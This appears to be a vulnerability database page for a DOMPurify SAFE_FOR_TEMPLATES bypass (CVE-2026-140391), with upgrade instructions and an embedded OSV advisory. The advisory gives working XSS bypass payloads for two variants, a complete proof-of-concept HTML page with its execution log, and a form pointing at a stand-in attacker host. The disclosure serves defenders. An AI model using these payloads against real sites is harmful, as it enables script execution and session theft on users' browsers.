CVE-2026-140391: DOMPurify SAFE_FOR_TEMPLATES Bypass: Template Expressions Reassemble Vulnerability
MODERATECVE-2026-140391 is a MODERATE (CVSS 6.1) safe_for_templates bypass: template expressions reassemble vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting DOMPurify libraries in the npm ecosystem. The issue involves safe_for_templates bypass: template expressions reassemble when sanitized output is reparsed (nested <form> and orphaned end tags). Remediation is available by upgrading affected packages to version 3.4.18.
CVE-2026-140391 at a Glance
Security Impact
CVSS: 6.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).
How to Fix CVE-2026-140391
To remediate this vulnerability, upgrade all affected DOMPurify dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install dompurify@3.4.18
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls dompurify
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-140391, inspect your project dependencies using npm:
npm ls dompurify
Analyze the terminal output to locate any version of DOMPurify in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.4.18), your application is affected.
Note: The npm ls dompurify command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In DOMPurify, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-140391 Affected DOMPurify Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dompurify
|
npm |
< 3.4.18
|
3.4.18
|
References
Frequently Asked Questions
What is CVE-2026-140391?
Which DOMPurify versions are affected?
What version fixes CVE-2026-140391?
Is dompurify affected?
What is the CVSS score of CVE-2026-140391?
What CWE is associated with CVE-2026-140391?
How can I check npm dependencies for CVE-2026-140391?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qm7q-q8h9-jg8q",
"modified" : "2026-12-03T18:07:54Z",
"published" : "2026-12-03T18:07:54Z",
"aliases" : [ "CVE-2026-140391" ],
"summary" : "DOMPurify: SAFE_FOR_TEMPLATES bypass: template expressions reassemble when sanitized output is reparsed (nested <form> and orphaned end tags)",
"details" : "### Summary\n\nWith `SAFE_FOR_TEMPLATES: true`, DOMPurify 3.4.17 returns strings that contain no `{{` or `}}`, but which turn into a live `{{…}}` expression as soon as the string is assigned to `innerHTML`. A template engine that then compiles that DOM (verified with Vue 3 in-DOM templates and AngularJS 1.8.3) evaluates the attacker's expression, giving arbitrary JavaScript execution.\n\nThe attacker controls only the markup passed to `sanitize()`. The only configuration required is `SAFE_FOR_TEMPLATES: true`, which is a protective option, and the application uses it for its documented purpose. There are two independent variants.\n\nBoth variants reproduce on Chromium 156, Firefox 157 and WebKit 27.2. The plain `{{…}}` case and the \"expression split by a removed element\" case are still correctly scrubbed, so this is a gap in the existing protection, not a missing feature.\n\n### Details\n\n`SAFE_FOR_TEMPLATES` scrubbing happens in two places, and neither accounts for how the returned string is parsed a second time by the consumer.\n\n1. Per text node, during the walk (`src/purify.ts`, around line 2396):\n\n ```ts\n if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {\n const content = _stripTemplateExpressions(currentNode.textContent);\n ...\n ```\n\n2. On the final serialized string (`src/purify.ts`, around line 3273):\n\n ```ts\n if (SAFE_FOR_TEMPLATES) {\n serializedHTML = _stripTemplateExpressions(serializedHTML);\n }\n ```\n\nBoth use the expressions in `src/regexp.ts`, e.g. `MUSTACHE_EXPR = /{{[\\w\\W]*|^[\\w\\W]*}}/g`.\n\n### Variant 1: nested `<form>` collapses on reparse\n\nInput:\n\n```html\n<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}\n```\n\nOn the first parse, `</form>` clears the parser's form element pointer while the `<div>` is still open, so the second `<form>` is accepted as a child of the `<div>`. The DOM has three separate text nodes: `{`, `{…}` and `}`. None of them contains `{{` or `}}`, so the per-node scrub does nothing.\n\nSerialized output:\n\n```html\n<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>\n```\n\nThe string has no `{{` or `}}` either (a `<form>` tag sits between the braces), so the final string scrub also passes.\n\nWhen the consumer assigns this to `innerHTML`, the HTML parser ignores the inner `<form>` start tag because a form is already open. The three text fragments become adjacent and merge into one text node:\n\n```\n{{constructor.constructor('alert(1)')()}}\n```\n\n### Variant 2: the final string scrub cuts through markup\n\nInput:\n\n```html\n<b><i>}<x></x>}{</i>{constructor.constructor('alert(1)')()}</b>}\n```\n\nAfter the disallowed `<x>` is removed, the serialized string is `<b><i>}}{</i>{…}</b>}`. The `^[\\w\\W]*}}` branch of `MUSTACHE_EXPR` then deletes everything from the start of the string through `}}`, which removes the `<b><i>` start tags but leaves their end tags.\n\nOutput:\n\n```html\n {</i>{constructor.constructor('alert(1)')()}</b>}\n```\n\nOn reparse the orphaned `</i>` and `</b>` are dropped, and the text merges into ` {{constructor.constructor('alert(1)')()}}`.\n\nThe same regex-over-markup behaviour can also cut closing tags from the end of the output (the `{{[\\w\\W]*` branch). For example `<form action=\"https://evil.example/collect\"><input name=q>{<x></x>{</form><p>after</p>` returns `<form action=\"https://evil.example/collect\"><input name=\"q\"> ` with no `</form>`.\n\n### Root cause and suggested direction\n\nThe scrub treats \"no expression in any text node\" and \"no expression in the serialized string\" as sufficient, but the guarantee users need is \"no expression in any text node after the output is parsed again\". Possible fixes:\n\n- After serialization, reparse the output and re-run the text-node scrub until the result is stable, or scrub on a reparsed copy before returning.\n- Do not run the template regexes over serialized markup; apply them only to text nodes and attribute values, so tags are never sliced.\n- Treat lone `{` / `}` at text-node boundaries as unsafe when the adjacent sibling's text starts or ends with a brace.\n\n### Proof of concept\n\nTested with DOMPurify 3.4.17 (npm `latest`), Vue 3.5.45 and AngularJS 1.8.3 on Chromium 156, Firefox 157 and WebKit 27.2.\n\nConfiguration: `{ SAFE_FOR_TEMPLATES: true }`, nothing else.\n\nSave as `poc.html` and open it in a browser. Use `poc.html?v=2` for the second variant.\n\n```html\n<!doctype html>\n<meta charset=\"utf-8\">\n<script src=\"https://unpkg.com/dompurify@3.4.17/dist/purify.js\"></script>\n<script src=\"https://unpkg.com/vue@3.5.45/dist/vue.global.prod.js\"></script>\n<script src=\"https://unpkg.com/angular@1.8.3/angular.min.js\"></script>\n<div id=\"vue-host\"><div class=\"comment\"></div></div>\n<div id=\"ng-host\"><div class=\"comment\"></div></div>\n<pre id=\"log\"></pre>\n<script>\n const log = (m) => (document.getElementById('log').textContent += m + '\\n');\n window.xss = (tag) => log('EXECUTED: ' + tag);\n const cfg = { SAFE_FOR_TEMPLATES: true };\n\n // 1 = nested form, 2 = orphaned end tags\n const variant = new URLSearchParams(location.search).get('v') === '2' ? 2 : 1;\n const wrap = (expr) => variant === 1\n ? `<form><div>{</form><form>{${expr}}</form>}`\n : `<b><i>}<x></x>}{</i>{${expr}}</b>}`;\n\n // Vue 3 (in-DOM template)\n const cleanVue = DOMPurify.sanitize(wrap(`$emit.constructor('xss(\"vue\")')()`), cfg);\n log('vue clean: ' + cleanVue);\n document.querySelector('#vue-host .comment').innerHTML = cleanVue;\n Vue.createApp({}).mount('#vue-host');\n\n // AngularJS 1.8.3\n const cleanNg = DOMPurify.sanitize(wrap(`constructor.constructor('xss(\"ng\")')()`), cfg);\n log('ng clean : ' + cleanNg);\n document.querySelector('#ng-host .comment').innerHTML = cleanNg;\n angular.bootstrap(document.getElementById('ng-host'), []);\n</script>\n```\n\nExpected: the sanitized strings contain no live expression and nothing executes.\n\nActual (variant 1):\n\n```\nvue clean: <form><div>{<form>{$emit.constructor('xss(\"vue\")')()}</form>}</div></form>\nEXECUTED: vue\nng clean : <form><div>{<form>{constructor.constructor('xss(\"ng\")')()}</form>}</div></form>\nEXECUTED: ng\n```\n\nActual (variant 2):\n\n```\nvue clean: {</i>{$emit.constructor('xss(\"vue\")')()}</b>}\nEXECUTED: vue\nng clean : {</i>{constructor.constructor('xss(\"ng\")')()}</b>}\nEXECUTED: ng\n```\n\nControls that are still scrubbed correctly with the same config:\n\n- `<p>{{constructor.constructor('alert(1)')()}}</p>` returns `<p> </p>`\n- `<div>{<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>}</div>` returns ` </div>`\n\nServer-side: with DOMPurify 3.4.17 on jsdom 27.0.1, both payloads return the same strings, and parsing those strings yields a single text node containing `{{constructor.constructor('alert(1)')()}}`.\n\n### Impact\n\nCross-site scripting through client-side template injection.\n\nAffected: applications that sanitize untrusted HTML with `SAFE_FOR_TEMPLATES: true`, place the result in the DOM through an HTML sink such as `innerHTML`, and then have a template engine compile that DOM. Verified with Vue 3 in-DOM templates and AngularJS 1.x; other mustache-style engines that compile existing DOM are likely affected in the same way.\n\nAn attacker who can submit markup (a comment, a profile field, a rich-text message) gets arbitrary JavaScript execution in the origin of the page for every user who views it, with the usual consequences: session theft, actions on behalf of the victim, and content manipulation.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "dompurify"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.4.18"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/cure53/DOMPurify/security/advisories/GHSA-qm7q-q8h9-jg8q"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140391"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/cure53/DOMPurify"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/dompurify-before-3.4.18-safe-for-templates-bypass-leading-to-xss"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1336", "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-12-03T18:07:54Z",
"nvd_published_at" : null
}
}